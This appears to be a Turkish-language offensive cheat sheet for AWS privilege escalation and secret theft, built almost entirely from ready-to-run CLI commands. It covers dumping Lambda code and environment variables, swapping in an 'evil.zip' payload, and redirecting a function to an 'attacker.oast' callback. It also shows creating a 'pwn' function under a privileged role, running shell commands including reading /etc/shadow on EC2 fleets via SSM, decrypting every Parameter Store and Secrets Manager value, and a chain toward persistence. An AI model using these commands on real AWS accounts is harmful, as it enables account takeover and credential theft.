Skip to content

AWS — Lambda, SSM & Secrets

AWS privesc / secrets

AWS privesc / secrets

Serverless ve yönetim servisleri, IAM zincirlerinin ötesinde ek RCE ve sır çıkarma yolları sunar: Lambda fonksiyonları yüksek yetkili rollerle çalışır, SSM EC2’lerde komut çalıştırır, Secrets Manager / SSM Parameter Store ise kimlik bilgisi hazinesidir.

- Geçerli AWS kimliği (kullanıcı veya rol)
- İlgili API izinleri: lambda:*, ssm:SendCommand, secretsmanager:GetSecretValue vb.
- veya mevcut bir Lambda içinde RCE (event injection, dependency)
Terminal window
aws lambda list-functions --region eu-west-1
Terminal window
aws lambda get-function --function-name F # kod URL + config
Terminal window
aws lambda get-function-configuration --function-name F
Terminal window
aws lambda get-function-configuration --function-name F \
--query 'Environment.Variables'
Terminal window
URL=$(aws lambda get-function --function-name F --query 'Code.Location' --output text)
Terminal window
curl -sL "$URL" -o fn.zip && unzip -l fn.zip

Kod / config değiştirme (yetki varsa → rol bağlamında RCE):

Terminal window
aws lambda update-function-code --function-name F --zip-file fileb://evil.zip
Terminal window
aws lambda invoke --function-name F --payload '{}' out.json && cat out.json
Terminal window
aws lambda update-function-configuration --function-name F \
--environment "Variables={CB=https://attacker.oast}"

iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction klasik privesc zinciridir (admin rolüyle fonksiyon çalıştır). Varyantlar:

lambda:UpdateFunctionCode → mevcut yüksek yetkili fn
lambda:AddPermission + public URL → herkese invoke
lambda:CreateEventSourceMapping → tetikleyici ile persist
layers: PublishLayerVersion → supply-chain tarzı enjeksiyon
Terminal window
aws lambda create-function --function-name pwn-$(date +%s) \
--runtime python3.12 --role arn:aws:iam::ACC:role/PrivilegedLambdaRole \
--handler lambda_function.lambda_handler --zip-file fileb://pwn.zip \
--timeout 30
Terminal window
aws lambda invoke --function-name pwn-... out.json

Lambda içindeyken (RCE varsa) erişilebilirler:

Terminal window
env | sort
Terminal window
curl -s http://169.254.169.254/ # genelde yok; rol SDK default chain'de
Terminal window
find /var/task -type f | head

SSM Agent yüklü ve IAM rolü AmazonSSMManagedInstanceCore (veya eşdeğeri) taşıyan örneklerde, API üzerinden root/SYSTEM komut çalıştırılır — SSH gerekmez.

  1. Yönetilen örnekleri listele :

    Terminal window
    aws ssm describe-instance-information --output table
    Terminal window
    aws ssm describe-instance-information \
    --query 'InstanceInformationList[].{Id:InstanceId,Platform:PlatformType,Ping:PingStatus}'
  2. Komut gönder — SSM Agent’lı EC2’de:

    Terminal window
    aws ssm send-command --document-name "AWS-RunShellScript" \
    --targets "Key=instanceids,Values=i-0123456789abcdef0" \
    --parameters 'commands=["id","uname -a","cat /etc/shadow | head"]' \
    --output text --query 'Command.CommandId'
    Terminal window
    aws ssm get-command-invocation --command-id <CID> \
    --instance-id i-0123456789abcdef0
  3. Oturum aç — Interactive Session Manager:

    Terminal window
    aws ssm start-session --target i-0123456789abcdef0
    Terminal window
    aws ssm start-session --target i-0123 \
    --document-name AWS-StartPortForwardingSession \
    --parameters '{"portNumber":["3389"],"localPortNumber":["13389"]}'

Windows için AWS-RunPowerShellScript kullan. ssm:SendCommand + geniş hedef seçimi neredeyse filoda RCE demektir.

Terminal window
aws secretsmanager list-secrets
Terminal window
aws secretsmanager get-secret-value --secret-id prod/db
Terminal window
aws secretsmanager get-secret-value --secret-id prod/db --query SecretString --output text
Terminal window
aws ssm describe-parameters --max-items 50
Terminal window
aws ssm get-parameters-by-path --path / --with-decryption --recursive
Terminal window
aws ssm get-parameter --name /prod/db/password --with-decryption
Terminal window
aws kms list-keys
Terminal window
aws ssm get-parameters --names /a /b --with-decryption

Diğer sık sır kaynakları:

Terminal window
aws codecommit get-file ...
Terminal window
aws ecr get-authorization-token
Terminal window
aws glue get-connection --name ...
Terminal window
aws rds describe-db-instances # master user; parola genelde secret'ta
Terminal window
aws cloudformation describe-stacks --query 'Stacks[].Parameters'
Terminal window
aws lambda get-function-configuration ... # env

SSM · send-command

embedded tool
Generated command
aws ssm send-command --document-name AWS-RunShellScript --instance-ids i-0123456789abcdef0 --parameters commands=id
Düşük yetkili key
→ lambda:ListFunctions + GetFunction → env'de DB pass
→ veya ssm:SendCommand → EC2 root → ~/.aws/credentials
→ veya secretsmanager:GetSecretValue → prod keys
→ PassRole / CreateAccessKey → kalıcılık